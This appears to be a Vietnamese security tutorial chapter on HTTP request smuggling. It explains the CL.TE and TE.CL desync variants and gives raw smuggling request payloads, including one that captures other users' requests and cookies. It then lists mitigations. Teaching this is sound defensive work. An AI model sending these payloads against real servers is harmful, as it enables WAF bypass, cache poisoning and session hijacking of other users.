Skip to main content

Chương 24: HTTP Request Smuggling

Khái niệm

HTTP Request Smuggling là tấn công khai thác sự không đồng nhất giữa front-end server (load balancer/WAF) và back-end server về cách xác định ranh giới giữa các HTTP requests.

Mức độ nguy hiểm: Rất cao — Bypass WAF, poison cache, hijack user requests.


CL.TE, TE.CL, TE.TE

HTTP/1.1 có hai headers xác định message length:

  • Content-Length: Độ dài của body tính bằng bytes
  • Transfer-Encoding: chunked: Body được gửi theo chunks

CL.TE — Front-end dùng Content-Length, Back-end dùng Transfer-Encoding

POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Front-end (CL): thấy body = 13 bytes → gửi toàn bộ đến back-end
  • Back-end (TE): thấy 0\r\n\r\n → request kết thúc tại đó
  • SMUGGLED → được prepend vào request tiếp theo!

TE.CL — Front-end dùng Transfer-Encoding, Back-end dùng Content-Length

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

  • Front-end (TE): xử lý chunked → forward toàn bộ đến back-end
  • Back-end (CL): thấy body = 3 bytes (8\r\n) → phần còn lại là prefix của request kế tiếp

Khai thác

Bypass WAF

WAF nằm ở front-end → block malicious requests
Smuggling: append payload vào request của user khác
→ Payload đến back-end mà không qua WAF check

Capture Other Users' Requests

Smuggle partial request header của hacker:
POST /search HTTP/1.1
Content-Length: 166
Transfer-Encoding: chunked

0

GET /capture HTTP/1.1
X-Ignore: X

→ Request của victim bị prepend vào GET /capture, attacker nhận victim's cookies/tokens.


Phòng chống

1. Dùng HTTP/2 end-to-end (không bị smuggling theo cách này)
2. Normalize ambiguous requests ở front-end
3. Reject requests với cả CL và TE headers
4. Enable "Reuse backend connections" = false

Nginx:
proxy_http_version 1.1;
proxy_set_header Connection "";

Tóm tắt

  • Request smuggling: front-end và back-end disagree về request boundaries.
  • Ba variant: CL.TE, TE.CL, TE.TE (obfuscated header).
  • Impact: WAF bypass, cache poisoning, session hijacking.
  • Phòng chống: HTTP/2 end-to-end, reject ambiguous requests.